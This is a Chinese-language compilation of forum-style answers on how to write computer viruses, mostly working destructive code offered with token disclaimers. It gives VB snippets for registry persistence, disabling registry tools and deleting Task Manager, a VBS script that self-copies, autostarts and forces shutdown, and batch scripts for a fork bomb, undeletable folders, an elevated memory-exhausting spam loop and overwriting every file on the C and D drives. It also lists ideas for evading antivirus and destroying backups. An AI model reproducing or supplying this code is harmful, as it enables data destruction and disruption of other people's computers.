用VB怎么样编写病毒
告诉你几个VB写病毒的常识,不要做坏事!!!
HideCurrentProcess '隐藏进程
Dim hKey As Long, SubKey As String, Exe As String
SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"
Exe = App.Path "\" App.EXEName ".exe"
RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey
RegSetValueEx hKey, "19911593", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1
RegCloseKey hKey'开机启动
Dim hKey As Long
RegCreateKey HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", hKey
RegSetValueEx hKey, "DisableRegistryTools", 0, REG_DWORD, 1, 4
RegCloseKey hKey'禁止访问注册表
KILL"C:\\WINDOWS\SYSTEM32\taskmgr.exe"'删除任务管理器
整人代码:
Msgbox "欢迎来到整人之家", 1, "You're foolish!"
Msgbox "我是cy07",1, "You're foolish!"
Msgbox "我的OICQ是371042", 1, "You're foolish!"
Msgbox "或者15081189", 1, "You're foolish!"
Msgbox "也可以是15081190", 1, "You're foolish!"
Msgbox "你一定得18岁才准进入，请按确定", 1, "You're foolish!"
Msgbox "进入此站时，不许说粗话！！同意请按确定", 1, "You're foolish!"
Msgbox "我不相信你…………", 1, "You're foolish!"
Msgbox "很对不起~但我得看你的身份证", 1, "You're foolish!"
Msgbox "拿着你的身份证对着萤幕", 1, "You're foolish!"
Msgbox "现在我得检查你的性别", 1, "You're foolish!"
Msgbox "对！！检查你的性别！！！！", 1, "You're foolish!"
Msgbox "据我的推测，你不是男的就是女的", 1, "You're foolish!"
Msgbox "OH~YEAH~开个玩笑嘛", 1, "You're foolish!"
Msgbox "为什麽这个主机要把这个网页放上来？？", 1, "You're foolish!"
Msgbox "嘿嘿…………不知道吧？？", 1, "You're foolish!"
Msgbox "因为这主机被某人耍了", 1, "You're foolish!"
Msgbox "算了！！", 1, "You're foolish!"
Msgbox "你知不知道你现在得一直按确定ㄚ？？", 1, "You're foolish!"
Msgbox "你得全部都按光耶！！", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "换句话说~你被卡在这里了！！", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "除非我打算让你走……", 1, "You're foolish!"
Msgbox "可是……我什麽时候会想让你走咧？？", 1, "You're foolish!"
Msgbox "不过~可喜的是你现在一直做的很好！！", 1, "You're foolish!"
Msgbox "你按确定的姿势有很大的进步喔！！", 1, "You're foolish!"
Msgbox "对！进步很多啦！！", 1, "You're foolish!"
Msgbox "既然你被卡在这里~我只好跟你讲一个故事来解解闷喽！！", 1, "You're foolish!"
Msgbox "你一定很想听吧？？", 1, "You're foolish!"
Msgbox "我这麽做是为了让你呆久一点，知道吗？？", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "仔细听好~故事开始喽！", 1, "You're foolish!"
Msgbox "很久很久很久很久以前~有一个网瘾狂，", 1, "You're foolish!"
Msgbox "任何一个上网的机会他都不会错过", 1, "You're foolish!"
Msgbox "感觉很熟悉吧？？", 1, "You're foolish!"
Msgbox "无论如何！！", 1, "You're foolish!"
Msgbox "他爸妈跟他说他不该上太多网", 1, "You're foolish!"
Msgbox "不然的话就会有些怪人带他去些怪地方", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "可是他从来都不听。有一天他到了某个网站…………", 1, "You're foolish!"
Msgbox "这里真的很烦！！", 1, "You're foolish!"
Msgbox "从此以后~他再也不想上网了", 1, "You're foolish!"
Msgbox "ㄛ喔~嘿嘿嘿！！", 1, "You're foolish!"
Msgbox "你能猜的出来他到了哪个站了吗？？", 1, "You're foolish!"
Msgbox "很简单的问题吧？！", 1, "You're foolish!"
Msgbox "没错！！他到了这里！！", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "你大概在猜这里面所隐藏的东西应该有一些意义吧？？", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "可是，一点意义都没有！！", 1, "You're foolish!"
Msgbox "ㄟ~~事实上~~算是有一个原因啦！！", 1, "You're foolish!"
Msgbox "想知道吗？？", 1, "You're foolish!"
Msgbox "那就是把你卡在这里啦！！", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "嗯~~说真的这站实在很白痴！", 1, "You're foolish!"
Msgbox "对啦~按确定练习站！！", 1, "You're foolish!"
Msgbox "你大概推测出来了吧？？", 1, "You're foolish!"
Msgbox "对了~你知道吗？？", 1, "You're foolish!"
Msgbox "如果你想把你的任何一个朋友搞疯掉", 1, "You're foolish!"
Msgbox "你可以把这个站寄给他！！", 1, "You're foolish!"
Msgbox "Wow~听起来很过瘾吧？！", 1, "You're foolish!"
Msgbox "大概要按90多次确定吧？？", 1, "You're foolish!"
Msgbox "ㄛ喔？！", 1, "You're foolish!"
Msgbox "所以呢~当你进入这站的时候……", 1, "You're foolish!"
Msgbox "就顺便把这网站寄给大家吧！", 1, "You're foolish!"
Msgbox "让他们了解一下你现在的感受！！", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "你现在终於可以进入这网站啦！！", 1, "You're foolish!"
Msgbox "谢天谢地！", 1, "You're foolish!"
Msgbox "等等！！……", 1, "You're foolish!"
Msgbox "我想跟你说另外一个故事", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "你快疯了吧？？", 1, "You're foolish!"
Msgbox "这可不是我的错喔~~你应该在网上找些别的东西！！", 1, "You're foolish!"
Msgbox "知道了吧？？现在你可能可以了解上网的坏处了吧！！", 1, "You're foolish!"
Msgbox "因为你还有可能碰到类似的网页喔！", 1, "You're foolish!"
Msgbox "你仔细想一想……不觉得有趣吗？", 1, "You're foolish!"
Msgbox "好吧~我对不起你！", 1, "You're foolish!"
Msgbox "你生命可以继续啦！", 1, "You're foolish!"
Msgbox "还有…………", 1, "You're foolish!"
Msgbox "你打算再听一个故事吗？", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "现在是不是有一种想要骂人的感觉？", 1, "You're foolish!"
Msgbox "可是我们说好了的…………", 1, "You're foolish!"
Msgbox "？？？", 1, "You're foolish!"
Msgbox "算了，我还是放你走吧！", 1, "You're foolish!"
vbs脚本病毒编写教程（不是拿去害人，是自己用来玩玩） 急！！！！！
Set ws=WScript.CreateObject("wscript.shell")
Set fso=WScript.CreateObject("scripting.filesystemobject")
path1=fso.GetSpecialFolder(1)
Set fs1=fso.getfile(WScript.ScriptFullName)
path2=path1 "\" fs1.Name
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\aa","""" path2 """","REG_SZ"
If Not fso.FileExists(path2) then
fs1.Copy(path1 "\")
ws.Run """" path2 """",True,True
End If
do
Set wmi=GetObject("winmgmts:\\.\root\cimv2")
Set list=wmi.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list.count0 Then
Call fun2()
End If
WScript.Sleep 3000
loop
Function fun2()
do
Set wmi2=GetObject("winmgmts:\\.\root\cimv2")
Set list2=wmi2.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list2.count=0 Then
Set wmi3=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")
Set list3=wmi3.ExecQuery("select * from win32_operatingsystem")
For Each uu In list3
uu.win32shutdown(2+4)
next
End If
wscript.sleep 2000
loop
End function
电脑病毒制作教程
很荣幸能够回答您的问题！
桌面上创建记事本，改后缀为bat
2
::输入以下代码
%0|%0
保存后退出，打开会发现无限制的弹窗。这是什么原理呢？
执行脚本的时候，|管道符会将左面的值传给右边，而这里%0是第一个参数（批处理路径），所以会无限执行自己。
END
第二种病毒
这种更强大一些。同样，桌面上创建记事本，改后缀为bat
::输入以下代码
for /l %%i in (1 1 999999) do md A..\
这个病毒利用Windows命名漏洞，创建999999个删除不了也打不开的文件夹。解决方法：把md改为rd
END
第三种病毒
这种病毒更高级，攻击性能更强。同样，桌面上创建记事本，改后缀为bat
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit
:a
set /a a+=1
echo %random%-%random%-%random% C:\Users\%username%\Desktop\病毒文件.%random%
mshta javascript:alert("您已中第%a%个病毒.");close();
goto a
这个病毒会在后台运行，在桌面重复弹信息框，生成垃圾文件，千万不敢随意测试，因为电脑会消耗尽内存后蓝屏。
END
第四种病毒
这种病毒最有破坏性，跟熊猫烧香媲美。同样，桌面上创建记事本，改后缀为bat
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit
for /f "tokens=* delims=" %%i in ('dir /b D:\*.*') do copy /y "%dpnx0" "%%i" nul
for /f "tokens=* delims=" %%i in ('dir /b C:\*.*') do copy /y "%dpnx0" "%%i" nul
此程序特别狠，会在后台把C、D盘所有的文件都替换成自己（病毒文件，然后会又被执行）。
希望能帮到您，如有疑问，请追问！
用vb这么编病毒，木马，黑客工具之类的程序！
用VB当然可以编写病毒，可以做到隐藏进程以及其他病毒可以做到的功能，网上有用VB编写病毒的视频教程！不过如楼上所说，“走歪路不好”，不要用来害人啊！不过可以用来研究下技术！想学黑客技术，也有很多地方搞培训，可以搜一下很多的！
病毒编写教程
《黑客X档案》的系列丛书不错，有各个方面的，像《黑客编程入门》，《黑客脚本攻击》《黑客免杀入门》都是不错的，而且都带光碟，《傻瓜黑客》更是适合新手。
病毒制作教程
制作自己玩玩可以，要是上传或者散播给他人就会有法律责任。
制作病毒这玩意，你还是去网上找教程吧。也不是一时半会一天两天你就能回。比如什么黑客基地
怎样设计简单的电脑病毒
很复杂得未必好，简单编了就被反病毒程序删除了，首先要使杀毒软件失效或躲过其病毒特征码识别。最基本思路是这样的：
1最简单就是让你一点击我的exe文件就死机.
（使你电脑使用率到达100%只是小伎俩)
2多数以Win32文件夹为主要目标的
3修改系统注册表
4自动复制源文件
5也可以额外对病毒加密
6DOS攻击
7修改，关闭，植入进程，
8病毒进入内存，自动让其读取中
9破坏GHO文件，使其电脑的Ghost无法使系统还原
10.对EXE、SCR、PIF、COM，htm/.html/.asp/.php/.jsp/.aspx任何文件添加恶意代码，如果你愿意也可以制作针对NOKIA的Symbian手机病毒SIS格式和电脑用蓝牙，数据线连接
11创新是编写的生命。但无理头的方案反而更糟，我这北美洲病毒很多，我特意去中毒收集病毒，研究以得到新思路，不过别拿心爱的电脑试验如果你经常更新硬件就是你的事了。我正考虑是否攻读黑客专业以利于以后在联邦网络安全部门工作，与当地的黑客只是冰山一角，正在学习
利用其实国产的反病毒最大的漏洞是经常更新，但忽略了有时拿十年前的病毒略加修改就躲过
加我为好友以后慢慢教你。
灰鸽子挂马，ASP似乎成了盗账号的唯一流行手段了，哈哈，1:29AM我去睡了
具体怎样做U盘病毒
在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码 病毒是一种比较完美的，精巧严谨的代码，按照严格的秩序组织起来，与所在的系统网络环境相适应和配合起来，病毒不会通过偶然形成，并且需要有一定的长度，这个基本的长度从概率上来讲是不可能通过随机代码产生的。现在流行的病毒是由人为故意编写的，多数病毒可以找到作者和产地信息。 制作的话就麻烦了呵呵，有谁能用一句话就教你做好病毒那么他就利害了。先把计算机程序语言在转向学习病毒的编译方法。有高手可以直接用汇编语言编写。
